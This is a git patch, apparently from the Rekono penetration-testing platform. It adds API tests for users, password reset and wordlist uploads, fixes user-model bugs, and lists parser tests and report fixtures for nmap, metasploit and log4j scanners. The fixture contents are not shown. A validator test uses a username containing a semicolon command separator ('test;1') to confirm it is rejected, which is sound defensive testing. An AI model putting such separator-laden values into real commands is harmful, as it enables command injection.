["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={ + "id": 3, + "name": the_harvester, + "command": the_harvester, + "likes": 0, + "liked": False, + }, + endpoint="{endpoint}3/", + ), + ApiTestCase( + ["reader1", "reader2"], "get", 403, endpoint="{endpoint}1/dislike/" + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "post", + 204, + endpoint="{endpoint}1/dislike/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={ + "id": 1, + "name": nmap, + "command": nmap.lower(), + "likes": 0, + "liked": False, + }, + endpoint="{endpoint}1/", + ), + ] + + def _get_object(self) -> Any: + return Tool.objects.first() + + +first_nmap_configuration = "TCP ports" + + +class ConfigurationTest(RekonoTest): + endpoint = "/api/configurations/" + expected_str = f"{nmap} - {first_nmap_configuration}" + cases = [ + ApiTestCase(["reader1", "reader2"], "get", 403, endpoint="{endpoint}1/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={ + "id": 1, + "tool": {"id": 1, "name": nmap}, + "name": first_nmap_configuration, + }, + endpoint="{endpoint}1/", + ), + ] + + def _get_object(self) -> Any: + return Configuration.objects.first() diff --git a/src/backend/tests/test_users.py b/src/backend/tests/test_users.py new file mode 100644 index 000000000..5e095a777 --- /dev/null +++ b/src/backend/tests/test_users.py @@ -0,0 +1,445 @@ +from typing import Any + +from security.authorization.roles import Role +from tests.cases import ApiTestCase +from tests.framework import RekonoTest +from users.enums import Notification +from users.models import User + +invitation1 = {"email": "test1@rekono.com", "role": Role.READER.value} +invitation2 = {"email": "test2@rekono.com", "role": Role.AUDITOR.value} +invalid_invitation = {"email": "invalid email", "role": Role.ADMIN.value} + +new_profile = { + "first_name": "test", + "last_name": "test", + "notification_scope": Notification.MY_EXECUTIONS.value, + "email_notifications": True, + "telegram_notifications": False, +} +new_valid_password = "NeW.Pa$$W0rd" +new_invalid_password = "new password" + +user1 = { + "username": "test1", + "first_name": "test", + "last_name": "test", + "password": new_valid_password, +} +invalid_user1 = {**user1, "username": "test;1"} +invalid_user2 = {**user1, "password": new_invalid_password} +invalid_user3 = {**user1, "first_name": "test;1"} + + +class UserTest(RekonoTest): + endpoint = "/api/users/" + expected_str = "admin1@rekono.com" + cases = [ + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected=[ + { + "id": 6, + "username": "reader2", + "role": Role.READER.value, + "is_active": True, + }, + { + "id": 5, + "username": "reader1", + "role": Role.READER.value, + "is_active": True, + }, + { + "id": 4, + "username": "auditor2", + "role": Role.AUDITOR.value, + "is_active": True, + }, + { + "id": 3, + "username": "auditor1", + "role": Role.AUDITOR.value, + "is_active": True, + }, + { + "id": 2, + "username": "admin2", + "role": Role.ADMIN.value, + "is_active": True, + }, + { + "id": 1, + "username": "admin1", + "role": Role.ADMIN.value, + "is_active": True, + }, + ], + ), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], "post", 403, invitation1 + ), + ApiTestCase(["admin1", "admin2"], "post", 400, invalid_invitation), + ApiTestCase( + ["admin1"], + "post", + 201, + invitation1, + {"id": 7, **invitation1, "is_active": None}, + ), + ApiTestCase(["admin1", "admin2"], "post", 400, invitation1), + ApiTestCase( + ["admin2"], + "post", + 201, + invitation2, + {"id": 8, **invitation2, "is_active": None}, + ), + ApiTestCase( + ["admin1"], + "put", + 403, + {"role": Role.AUDITOR.value}, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2"], + "put", + 200, + {"role": Role.ADMIN.value}, + expected={ + "id": 6, + "username": "reader2", + "role": Role.ADMIN.value, + "is_active": True, + }, + endpoint="{endpoint}6/", + ), + ApiTestCase( + ["admin1", "admin2", "reader2"], + "get", + 200, + expected=[ + { + "id": 8, + "username": None, + "email": "test2@rekono.com", + "role": Role.AUDITOR.value, + "is_active": None, + }, + { + "id": 7, + "username": None, + "email": "test1@rekono.com", + "role": Role.READER.value, + "is_active": None, + }, + { + "id": 6, + "username": "reader2", + "role": Role.ADMIN.value, + "is_active": True, + }, + { + "id": 5, + "username": "reader1", + "role": Role.READER.value, + "is_active": True, + }, + { + "id": 4, + "username": "auditor2", + "role": Role.AUDITOR.value, + "is_active": True, + }, + { + "id": 3, + "username": "auditor1", + "role": Role.AUDITOR.value, + "is_active": True, + }, + { + "id": 2, + "username": "admin2", + "role": Role.ADMIN.value, + "is_active": True, + }, + { + "id": 1, + "username": "admin1", + "role": Role.ADMIN.value, + "is_active": True, + }, + ], + ), + ApiTestCase(["admin2"], "delete", 403, endpoint="{endpoint}2/"), + ApiTestCase(["admin1", "reader2"], "delete", 204, endpoint="{endpoint}2/"), + ApiTestCase(["admin2"], "get", 401), + ApiTestCase( + ["auditor1", "auditor2", "reader1"], "get", 403, endpoint="{endpoint}2/" + ), + ApiTestCase( + ["admin1", "reader2"], + "get", + 200, + expected={ + "id": 2, + "username": "admin2", + "role": Role.ADMIN.value, + "is_active": False, + }, + endpoint="{endpoint}2/", + ), + ApiTestCase( + ["reader2"], + "post", + 200, + expected={ + "id": 2, + "username": "admin2", + "role": Role.ADMIN.value, + "is_active": True, + }, + endpoint="{endpoint}2/enable/", + ), + ApiTestCase( + ["admin1", "admin2", "reader2"], + "get", + 200, + expected={ + "id": 2, + "username": "admin2", + "role": Role.ADMIN.value, + "is_active": True, + }, + endpoint="{endpoint}2/", + ), + ApiTestCase( + ["admin1", "admin2"], + "put", + 200, + {"role": Role.READER.value}, + expected={ + "id": 6, + "username": "reader2", + "role": Role.READER.value, + "is_active": True, + }, + endpoint="{endpoint}6/", + ), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected={ + "id": 6, + "username": "reader2", + "role": Role.READER.value, + "is_active": True, + }, + endpoint="{endpoint}6/", + ), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], + "get", + 403, + endpoint="{endpoint}6/", + ), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}7/"), + ApiTestCase(["admin2"], "delete", 404, endpoint="{endpoint}7/"), + ApiTestCase(["admin1", "admin2"], "get", 404, endpoint="{endpoint}7/"), + ApiTestCase(["admin2"], "delete", 204, endpoint="{endpoint}8/"), + ApiTestCase(["admin1", "admin2"], "get", 404, endpoint="{endpoint}8/"), + ] + + def test_invite_and_create(self) -> None: + client = self._get_api_client() + response = client.post( + self.login, + data={"username": self.admin1.username, "password": self.admin1.username}, + ) + self.assertEqual(200, response.status_code) + authenticated_client = self._get_api_client( + self._get_content(response.content)["access"] + ) + + response = authenticated_client.post(self.endpoint, data=invitation1) + self.assertEqual(201, response.status_code) + new_user = User.objects.get(email=invitation1["email"]) + otp = new_user.otp + + response = authenticated_client.post( + f"{self.endpoint}create/", data={"otp": otp, **user1} + ) + self.assertEqual(403, response.status_code) + + response = client.post( + f"{self.endpoint}create/", data={"otp": "invalid otp", **user1} + ) + self.assertEqual(401, response.status_code) + + for invalid_user in [invalid_user1, invalid_user2, invalid_user3]: + response = client.post( + f"{self.endpoint}create/", data={"otp": otp, **invalid_user} + ) + self.assertEqual(400, response.status_code) + + response = client.post(f"{self.endpoint}create/", data={"otp": otp, **user1}) + self.assertEqual(201, response.status_code) + content = self._get_content(response.content) + self.assertEqual(7, content["id"]) + self.assertTrue(content["is_active"]) + + response = client.post( + f"{self.endpoint}create/", + data={"otp": otp, **user1, "username": "unique new test"}, + ) + self.assertEqual(401, response.status_code) + + response = client.post( + self.login, + data={"username": user1["username"], "password": new_valid_password}, + ) + self.assertEqual(200, response.status_code) + authenticated_client = self._get_api_client( + self._get_content(response.content)["access"] + ) + + response = authenticated_client.get(self.profile) + self.assertEqual(200, response.status_code) + + def _get_object(self) -> Any: + return self.admin1 + + +class Profile(RekonoTest): + endpoint = "/api/profile/" + cases = [ + ApiTestCase( + ["admin1"], + "get", + 200, + expected={"id": 1, "username": "admin1", "role": Role.ADMIN.value}, + ), + ApiTestCase( + ["auditor1"], + "get", + 200, + expected={"id": 3, "username": "auditor1", "role": Role.AUDITOR.value}, + ), + ApiTestCase( + ["reader1"], + "get", + 200, + expected={"id": 5, "username": "reader1", "role": Role.READER.value}, + ), + ApiTestCase( + ["admin2"], + "put", + 200, + new_profile, + { + "id": 2, + "username": "admin2", + "email": "admin2@rekono.com", + "role": Role.ADMIN.value, + **new_profile, + }, + ), + ApiTestCase( + ["admin1"], + "put", + 401, + {"password": new_valid_password, "old_password": "invalid password"}, + endpoint="/api/security/update-password/", + ), + ApiTestCase( + ["admin1"], + "put", + 400, + {"password": new_invalid_password, "old_password": "admin1"}, + endpoint="/api/security/update-password/", + ), + ApiTestCase( + ["admin1"], + "put", + 200, + {"password": new_valid_password, "old_password": "admin1"}, + endpoint="/api/security/update-password/", + ), + ApiTestCase(["admin1"], "get", 401), + ApiTestCase( + [("admin1", new_valid_password)], + "get", + 200, + expected={"id": 1, "username": "admin1", "role": Role.ADMIN.value}, + ), + ] + + +class ResetPasswordTest(RekonoTest): + endpoint = "/api/security/reset-password/" + anonymous_allowed = None + + def test_reset_password(self) -> None: + response = self._get_api_client().post( + self.login, + data={"username": self.admin1.username, "password": self.admin1.username}, + ) + self.assertEqual(200, response.status_code) + authenticated_client = self._get_api_client( + self._get_content(response.content)["access"] + ) + + response = authenticated_client.post( + self.endpoint, data={"email": self.admin1.email} + ) + self.assertEqual(403, response.status_code) + + client = self._get_api_client() + response = client.post(self.endpoint, data={"email": self.admin1.email}) + self.assertEqual(200, response.status_code) + otp = User.objects.get(email=self.admin1.email).otp + + response = client.put( + self.endpoint, data={"otp": "invalid OTP", "password": new_valid_password} + ) + self.assertEqual(401, response.status_code) + + response = client.put( + self.endpoint, + data={"otp": otp, "password": new_invalid_password}, + ) + self.assertEqual(400, response.status_code) + + response = authenticated_client.put( + self.endpoint, + data={"otp": otp, "password": new_valid_password}, + ) + self.assertEqual(403, response.status_code) + + response = client.put( + self.endpoint, + data={"otp": otp, "password": new_valid_password}, + ) + self.assertEqual(200, response.status_code) + + response = client.put( + self.endpoint, + data={"otp": otp, "password": new_valid_password}, + ) + self.assertEqual(401, response.status_code) + + response = self._get_api_client().post( + self.login, + data={"username": self.admin1.username, "password": new_valid_password}, + ) + self.assertEqual(200, response.status_code) + authenticated_client = self._get_api_client( + self._get_content(response.content)["access"] + ) + response = authenticated_client.get(self.profile) + self.assertEqual(200, response.status_code) diff --git a/src/backend/tests/test_wordlists.py b/src/backend/tests/test_wordlists.py new file mode 100644 index 000000000..355d87c32 --- /dev/null +++ b/src/backend/tests/test_wordlists.py @@ -0,0 +1,234 @@ +from typing import Any + +from settings.models import Settings +from tests.cases import ApiTestCase +from tests.framework import RekonoTest +from wordlists.enums import WordlistType +from wordlists.models import Wordlist + +# Wordlists paths +data_dir = RekonoTest.data_dir / "wordlists" +endpoints_path = data_dir / "endpoints_wordlist.txt" +invalid_mime_type_path = data_dir / "invalid_mime_type.txt" +invalid_extension_path = data_dir / "invalid_extension.pdf" +invalid_size_path = data_dir / "invalid_size.txt" +subdomains_path = data_dir / "subdomains_wordlist.txt" + +first_wordlist_name = "Common (dirb)" + +wordlist_endpoints = {"name": "test 1", "type": WordlistType.ENDPOINT.value} +new_wordlist_endpoints = {"name": "new test 1", "type": WordlistType.ENDPOINT.value} +wordlist_subdomains = {"name": "test 2", "type": WordlistType.SUBDOMAIN.value} +new_wordlist_subdomains = {"name": "new test 2", "type": WordlistType.SUBDOMAIN.value} + + +class WordlistTest(RekonoTest): + endpoint = "/api/wordlists/" + expected_str = first_wordlist_name + data_dir = data_dir + cases = [ + ApiTestCase(["reader1", "reader2"], "get", 403), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={ + "id": 1, + "name": first_wordlist_name, + "type": WordlistType.ENDPOINT, + "size": None, + "owner": None, + "liked": False, + "likes": 0, + }, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "post", + 400, + { + **wordlist_endpoints, + "file": invalid_mime_type_path.open("rb"), + }, + format="multipart", + ), + ApiTestCase( + ["admin1"], + "post", + 201, + { + **wordlist_endpoints, + "file": endpoints_path.open("rb"), + }, + { + "id": 29, + **wordlist_endpoints, + "size": 3, + "owner": {"id": 1, "username": "admin1"}, + "liked": False, + "likes": 0, + }, + format="multipart", + ), + ApiTestCase( + ["auditor1"], + "post", + 201, + { + **wordlist_subdomains, + "file": subdomains_path.open("rb"), + }, + { + "id": 30, + **wordlist_subdomains, + "size": 3, + "owner": {"id": 3, "username": "auditor1"}, + "liked": False, + "likes": 0, + }, + format="multipart", + ), + ApiTestCase( + ["auditor1", "auditor2"], + "put", + 403, + new_wordlist_endpoints, + endpoint="{endpoint}29/", + ), + ApiTestCase( + ["admin1", "admin2"], + "put", + 200, + new_wordlist_endpoints, + {"id": 29, **new_wordlist_endpoints}, + endpoint="{endpoint}29/", + ), + ApiTestCase( + ["auditor2"], + "put", + 403, + new_wordlist_subdomains, + endpoint="{endpoint}30/", + ), + ApiTestCase( + ["auditor1", "admin1", "admin2"], + "put", + 200, + new_wordlist_subdomains, + {"id": 30, **new_wordlist_subdomains}, + endpoint="{endpoint}30/", + ), + ApiTestCase(["reader1", "reader2"], "post", 403, endpoint="{endpoint}29/like/"), + ApiTestCase( + ["reader1", "reader2"], "post", 403, endpoint="{endpoint}30/dislike/" + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "post", + 204, + endpoint="{endpoint}29/like/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={ + "id": 29, + **new_wordlist_endpoints, + "size": 3, + "owner": {"id": 1, "username": "admin1"}, + "liked": True, + "likes": 4, + }, + endpoint="{endpoint}29/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "post", + 204, + endpoint="{endpoint}29/dislike/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={ + "id": 29, + **new_wordlist_endpoints, + "size": 3, + "owner": {"id": 1, "username": "admin1"}, + "liked": False, + "likes": 0, + }, + endpoint="{endpoint}29/", + ), + ApiTestCase( + ["reader1", "reader2", "auditor1", "auditor2"], + "delete", + 403, + endpoint="{endpoint}29/", + ), + ApiTestCase( + ["reader1", "reader2", "auditor2"], "delete", 403, endpoint="{endpoint}30/" + ), + ApiTestCase(["admin2"], "delete", 204, endpoint="{endpoint}29/"), + ApiTestCase(["auditor1"], "delete", 204, endpoint="{endpoint}30/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 404, + endpoint="{endpoint}29/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 404, + endpoint="{endpoint}30/", + ), + ] + + def setUp(self) -> None: + super().setUp() + settings = Settings.objects.first() + settings.max_uploaded_file_mb = 1 + settings.save(update_fields=["max_uploaded_file_mb"]) + valid_content = endpoints_path.read_text() + for path in [invalid_extension_path, invalid_size_path]: + path.write_text(valid_content) + invalid_size = settings.max_uploaded_file_mb * 1024 * 1024 + 100 + with invalid_size_path.open("a") as file: + while invalid_size_path.stat().st_size < invalid_size: + file.write(valid_content) + self.cases.extend( + [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "post", + 400, + { + **wordlist_endpoints, + "file": invalid_extension_path.open("rb"), + }, + format="multipart", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "post", + 400, + { + **wordlist_endpoints, + "file": invalid_size_path.open("rb"), + }, + format="multipart", + ), + ] + ) + + def tearDown(self) -> None: + super().tearDown() + invalid_extension_path.unlink() + invalid_size_path.unlink() + + def _get_object(self) -> Any: + return Wordlist.objects.first() diff --git a/src/backend/tools/views.py b/src/backend/tools/views.py index 0e75d27d3..7069e2bd1 100644 --- a/src/backend/tools/views.py +++ b/src/backend/tools/views.py @@ -1,4 +1,7 @@ from framework.views import BaseViewSet, LikeViewSet +from rest_framework import status +from rest_framework.request import Request +from rest_framework.response import Response from tools.filters import ConfigurationFilter, ToolFilter from tools.models import Configuration, Tool from tools.serializers import ConfigurationSerializer, ToolSerializer @@ -12,7 +15,11 @@ class ToolViewSet(LikeViewSet): filterset_class = ToolFilter search_fields = ["name", "command"] ordering_fields = ["id", "name", "command"] - http_method_names = ["get"] + # "post" is needed to allow POST requests to like and dislike tools + http_method_names = ["get", "post"] + + def create(self, request: Request, *args, **kwargs): + return self._method_not_allowed("POST") class ConfigurationViewSet(BaseViewSet): diff --git a/src/backend/users/enums.py b/src/backend/users/enums.py index 4d6f16cd1..7ba2c619d 100644 --- a/src/backend/users/enums.py +++ b/src/backend/users/enums.py @@ -2,10 +2,10 @@ class Notification(models.TextChoices): - '''Notification choices for users.''' + """Notification choices for users.""" - DISABLED = 'Disabled' # All notifications disabled + DISABLED = "Disabled" # All notifications disabled # Only notifications with executions made by the user - OWN_EXECUTIONS = 'Only my executions' + MY_EXECUTIONS = "Only my executions" # Notifications with all executions made in user projects - ALL_EXECUTIONS = 'All executions' + ALL_EXECUTIONS = "All executions" diff --git a/src/backend/users/models.py b/src/backend/users/models.py index 13352f881..6139ecb62 100644 --- a/src/backend/users/models.py +++ b/src/backend/users/models.py @@ -27,8 +27,11 @@ class RekonoUserManager(UserManager): """Manager for the User model.""" - def generate_otp(self) -> str: - return hash(generate_random_value(3000)) + def generate_otp(self, model: Any = None) -> str: + otp = hash(generate_random_value(3000)) + if (model or User).objects.filter(otp=otp).exists(): + return self.generate_otp(model) + return otp def get_otp_expiration_time(self) -> datetime: return timezone.now() + timedelta(hours=CONFIG.otp_expiration_hours) @@ -74,7 +77,7 @@ def create_user( user.username = username user.first_name = first_name user.last_name = last_name - user.set_password = password + user.set_password(password) user.is_active = True user.otp = None user.otp_expiration = None @@ -179,7 +182,8 @@ def update_password(self, user: Any, password: str) -> Any: f"[Security] User {user.id} changed his password", extra={"user": user.id}, ) - user.telegram_chat.delete() + if hasattr(user, "telegram_chat"): + user.telegram_chat.delete() self.invalidate_all_tokens(user) return user @@ -234,7 +238,7 @@ class User(AbstractUser, BaseModel): is_active = models.BooleanField(blank=True, null=True, default=None) # One Time Password used to invite and enable users, or reset passwords - otp = models.TextField(max_length=200, unique=True, blank=True, null=True) + otp = models.TextField(max_length=200, blank=True, null=True) otp_expiration = models.DateTimeField( blank=True, null=True, @@ -242,7 +246,7 @@ class User(AbstractUser, BaseModel): ) notification_scope = models.TextField( # User notification preferences - max_length=18, choices=Notification.choices, default=Notification.OWN_EXECUTIONS + max_length=18, choices=Notification.choices, default=Notification.MY_EXECUTIONS ) # Indicate if email notifications are enabled email_notifications = models.BooleanField(default=True) diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py index 17434e774..a62e11eb9 100644 --- a/src/backend/users/serializers.py +++ b/src/backend/users/serializers.py @@ -10,6 +10,7 @@ from rest_framework.serializers import ( CharField, ChoiceField, + EmailField, ModelSerializer, Serializer, ) @@ -163,13 +164,6 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: class CreateUserSerializer(PasswordSerializer, OTPSerializer): """Serializer to create an user via API after email invitation.""" - # username = CharField(max_length=150, required=True) # New user username - # first_name = CharField(max_length=150, required=True) # New user first name - # last_name = CharField(max_length=150, required=True) # New user last name - # otp = CharField( - # max_length=200, required=True - # ) # OTP included in the email invitation - class Meta: model = User fields = ( @@ -282,12 +276,10 @@ def save(self, **kwargs: Any) -> User: ) -class RequestPasswordResetSerializer(UserSerializer): +class RequestPasswordResetSerializer(Serializer): """Serializer to request the user password reset via API.""" - class Meta: - model = User - fields = ("email",) + email = EmailField(max_length=150, required=True) @transaction.atomic() def save(self, **kwargs: Any) -> User: @@ -296,12 +288,9 @@ def save(self, **kwargs: Any) -> User: Returns: User: Instance after apply changes """ - try: - # Get user that requests the password reset - user = User.objects.get( - email=self.validated_data.get("email"), is_active=True - ) - user = User.objects.request_password_reset(user) # Request password reset - return user - except User.DoesNotExist: - return None + user = User.objects.filter( + email=self.validated_data.get("email"), is_active=True + ) + return ( + User.objects.request_password_reset(user.first()) if user.exists() else None + ) diff --git a/src/backend/users/urls.py b/src/backend/users/urls.py index 0047f7b9b..415fb171d 100644 --- a/src/backend/users/urls.py +++ b/src/backend/users/urls.py @@ -11,18 +11,17 @@ router = SimpleRouter() router.register("users", UserViewSet) -router.register("users/create", CreateUserViewSet) - -profile = ProfileViewSet.as_view({"get": "get", "put": "update"}) -update_password = ProfileViewSet.as_view({"put": "update_password"}) -# telegram_token = ProfileViewSet.as_view({"post": "telegram_token"}) -reset_password = ResetPasswordViewSet.as_view({"post": "create", "put": "update"}) +# router.register("users/create", CreateUserViewSet) urlpatterns = [ - # path('api-token/', views.obtain_auth_token), - path("profile/", profile), - path("security/update-password/", update_password), - path("security/reset-password/", reset_password), - # path("profile/telegram-token/", telegram_token), + path("users/create/", CreateUserViewSet.as_view({"post": "create"})), + path("profile/", ProfileViewSet.as_view({"get": "get", "put": "update"})), + path( + "security/update-password/", ProfileViewSet.as_view({"put": "update_password"}) + ), + path( + "security/reset-password/", + ResetPasswordViewSet.as_view({"post": "create", "put": "update"}), + ), path("", include(router.urls)), ] diff --git a/src/backend/users/views.py b/src/backend/users/views.py index 957abec97..f60ddfbf6 100644 --- a/src/backend/users/views.py +++ b/src/backend/users/views.py @@ -1,16 +1,12 @@ import logging -from typing import Any, List +from typing import Any from django.core.exceptions import PermissionDenied from drf_spectacular.utils import extend_schema from framework.views import BaseViewSet from rest_framework import status from rest_framework.decorators import action -from rest_framework.permissions import ( - BasePermission, - DjangoModelPermissions, - IsAuthenticated, -) +from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated from rest_framework.request import Request from rest_framework.response import Response from rest_framework.serializers import Serializer @@ -147,24 +143,22 @@ def update_password(self, request: Request) -> Response: return Response(status=status.HTTP_200_OK) -class CreateUserViewSet(BaseViewSet): +class CreateUserViewSet(GenericViewSet): """User ViewSet that includes user initialization from invitation feature.""" serializer_class = CreateUserSerializer queryset = User.objects.all() - http_method_names = ["post"] # Users can't be initialized from another user session, authentication is based on OTP permission_classes = [IsNotAuthenticated] @extend_schema(request=CreateUserSerializer, responses={201: UserSerializer}) - def create(self, request, *args, **kwargs): - serializer = CreateUserSerializer(data=request.data) + @action(detail=False, methods=["POST"]) + def create(self, request: Request, *args, **kwargs) -> Response: + serializer = self.serializer_class(data=request.data) serializer.is_valid(raise_exception=True) user = serializer.create(serializer.validated_data) - headers = self.get_success_headers(serializer.data) - return Response( - UserSerializer(user).data, status=status.HTTP_201_CREATED, headers=headers - ) + # headers = self.get_success_headers(serializer.data) + return Response(UserSerializer(user).data, status=status.HTTP_201_CREATED) class ResetPasswordViewSet(GenericViewSet): diff --git a/src/backend/wordlists/apps.py b/src/backend/wordlists/apps.py index a92a30875..f3923ef2c 100644 --- a/src/backend/wordlists/apps.py +++ b/src/backend/wordlists/apps.py @@ -25,7 +25,7 @@ def update_default_wordlists_size(self, **kwargs: Any) -> None: """Update default wordlists size.""" for wordlist in self._get_models()[0].objects.all(): if Path(wordlist.path).is_file() and os.access(wordlist.path, os.R_OK): - with open(wordlist.path, "rb+") as wordlist_file: # Open uploaded file + with open(wordlist.path, "rb+") as wordlist_file: wordlist.size = len(wordlist_file.readlines()) wordlist.save(update_fields=["size"]) diff --git a/src/backend/wordlists/serializers.py b/src/backend/wordlists/serializers.py index 10b53c777..c325cfd1a 100644 --- a/src/backend/wordlists/serializers.py +++ b/src/backend/wordlists/serializers.py @@ -64,4 +64,4 @@ class Meta: """Serializer metadata.""" model = Wordlist - fields = ("id", "name", "type") # Wordlist fields exposed via API + fields = ("id", "name", "type") diff --git a/src/backend/wordlists/views.py b/src/backend/wordlists/views.py index d5b5cf54a..5b1d0bd73 100644 --- a/src/backend/wordlists/views.py +++ b/src/backend/wordlists/views.py @@ -1,4 +1,3 @@ -# from api.views import CreateWithUserViewSet from framework.views import LikeViewSet from rest_framework.serializers import Serializer from wordlists.filters import WordlistFilter From 59b44a2f1d1f19c7a77576778cba85f1ab4c5bb0 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 29 Nov 2023 20:32:21 +0100 Subject: [PATCH 033/141] Add config.yaml to the .gitignore to prevent the encryption key exposure --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index b3fb3bc11..fc72a4186 100644 --- a/.gitignore +++ b/.gitignore @@ -137,6 +137,7 @@ dmypy.json ./logs/ /static/ /src/backend/tests/home/ +config.yaml # Vue.JS node_modules/ From 76aefefc1177ee4ce8846c45c02177cb7a76ba7a Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 1 Dec 2023 19:18:19 +0100 Subject: [PATCH 034/141] Unit tests for tool parsers and fixes for all the problems found --- src/backend/framework/models.py | 6 +- src/backend/input_types/models.py | 14 +- src/backend/requirements.txt | 2 +- src/backend/tests/cases.py | 44 +- .../tests/data/reports/cmseek/dvwp.json | 13 + .../tests/data/reports/cmseek/joomla.json | 18 + .../tests/data/reports/cmseek/vwp.json | 296 + .../tests/data/reports/cmseek/wordpress.json | 14 + .../tests/data/reports/dirsearch/default.json | 144 + .../data/reports/emailfinder/default.txt | 31 + .../data/reports/emailharvester/default.txt | 5 + .../data/reports/gitleaks/leaky-repo.json | 128 + .../tests/data/reports/gobuster/dir.txt | 13 + .../tests/data/reports/gobuster/dns.txt | 2 + .../tests/data/reports/gobuster/vhost.txt | 23 + .../data/reports/joomscan/exploitable.txt | 90 + .../data/reports/joomscan/not-exploitable.txt | 57 + .../data/reports/joomscan/not-joomla.txt | 24 + .../reports/log4j_scan/cve_2021_44228.txt | 34 + .../reports/log4j_scan/not_vulnerable.txt | 10 + .../data/reports/metasploit/exploits.txt | 14 + .../tests/data/reports/metasploit/nothing.txt | 1 + .../tests/data/reports/nikto/default.xml | 78 + .../data/reports/nmap/enumeration-vulners.xml | 973 +++ .../data/reports/nmap/ftp-vulnerabilities.xml | 117 + .../tests/data/reports/nmap/smb-analysis.xml | 131 + .../tests/data/reports/nmap/smb-users.xml | 107 + .../data/reports/nuclei/tech_and_vulns.json | 11 + .../data/reports/searchsploit/exploits.json | 30 + .../data/reports/searchsploit/nothing.json | 7 + .../tests/data/reports/smbmap/directories.txt | 8 + .../tests/data/reports/smbmap/shares.txt | 5 + .../spring4shell_scan/cve_2022_22963.txt | 12 + .../spring4shell_scan/cve_2022_22965.txt | 12 + .../spring4shell_scan/not_vulnerable.txt | 10 + .../data/reports/ssh_audit/cve_2018_10933.txt | 73 + .../data/reports/ssh_audit/cve_2018_15473.txt | 73 + .../tests/data/reports/sslscan/heartbleed.xml | 48 + .../sslscan/insecure-renegotiation.xml | 42 + .../tests/data/reports/sslscan/protocols.xml | 55 + .../sslyze/insecure-renegotiation.json | 4316 +++++++++++ .../tests/data/reports/sslyze/protocols.json | 4414 ++++++++++++ .../data/reports/sslyze/vulnerabilities.json | 6399 +++++++++++++++++ .../data/reports/theharvester/scanme.json | 16 + .../tests/data/reports/zap/active-scan.xml | 339 + src/backend/tests/framework.py | 86 +- src/backend/tests/parsers/__init__.py | 0 src/backend/tests/parsers/test_cmseek.py | 188 + src/backend/tests/parsers/test_dirsearch.py | 147 + src/backend/tests/parsers/test_emailfinder.py | 40 + .../tests/parsers/test_emailharvester.py | 40 + src/backend/tests/parsers/test_gitleaks.py | 54 + src/backend/tests/parsers/test_gobuster.py | 145 + src/backend/tests/parsers/test_joomscan.py | 160 + src/backend/tests/parsers/test_log4j_scan.py | 14 + src/backend/tests/parsers/test_metasploit.py | 35 + src/backend/tests/parsers/test_nikto.py | 107 + src/backend/tests/parsers/test_nmap.py | 495 ++ src/backend/tests/parsers/test_nuclei.py | 103 + .../tests/parsers/test_searchsploit.py | 149 + src/backend/tests/parsers/test_smbmap.py | 27 + .../tests/parsers/test_spring4shell_scan.py | 30 + src/backend/tests/parsers/test_ssh_audit.py | 56 + src/backend/tests/parsers/test_sslscan.py | 191 + src/backend/tests/parsers/test_sslyze.py | 135 + .../tests/parsers/test_theharvester.py | 42 + src/backend/tests/parsers/test_zap.py | 157 + src/backend/tests/test_api_tokens.py | 4 +- src/backend/tests/test_authentications.py | 4 +- src/backend/tests/test_parameters.py | 4 +- src/backend/tests/test_processes.py | 6 +- src/backend/tests/test_projects.py | 4 +- src/backend/tests/test_security.py | 4 +- src/backend/tests/test_settings.py | 4 +- src/backend/tests/test_target_blacklist.py | 4 +- src/backend/tests/test_target_ports.py | 4 +- src/backend/tests/test_targets.py | 4 +- src/backend/tests/test_tools.py | 6 +- src/backend/tests/test_users.py | 8 +- src/backend/tests/test_wordlists.py | 6 +- src/backend/tools/parsers/base.py | 11 +- src/backend/tools/parsers/cmseek.py | 50 +- src/backend/tools/parsers/dirsearch.py | 2 +- src/backend/tools/parsers/joomscan.py | 4 +- src/backend/tools/parsers/nikto.py | 2 +- src/backend/tools/parsers/nmap.py | 34 +- src/backend/tools/parsers/smbmap.py | 4 +- src/backend/tools/parsers/ssh_audit.py | 4 +- src/backend/tools/parsers/sslscan.py | 4 +- src/backend/tools/parsers/sslyze.py | 19 +- src/backend/tools/parsers/zap.py | 39 +- 91 files changed, 20741 insertions(+), 154 deletions(-) create mode 100644 src/backend/tests/data/reports/cmseek/dvwp.json create mode 100644 src/backend/tests/data/reports/cmseek/joomla.json create mode 100644 src/backend/tests/data/reports/cmseek/vwp.json create mode 100644 src/backend/tests/data/reports/cmseek/wordpress.json create mode 100644 src/backend/tests/data/reports/dirsearch/default.json create mode 100644 src/backend/tests/data/reports/emailfinder/default.txt create mode 100644 src/backend/tests/data/reports/emailharvester/default.txt create mode 100644 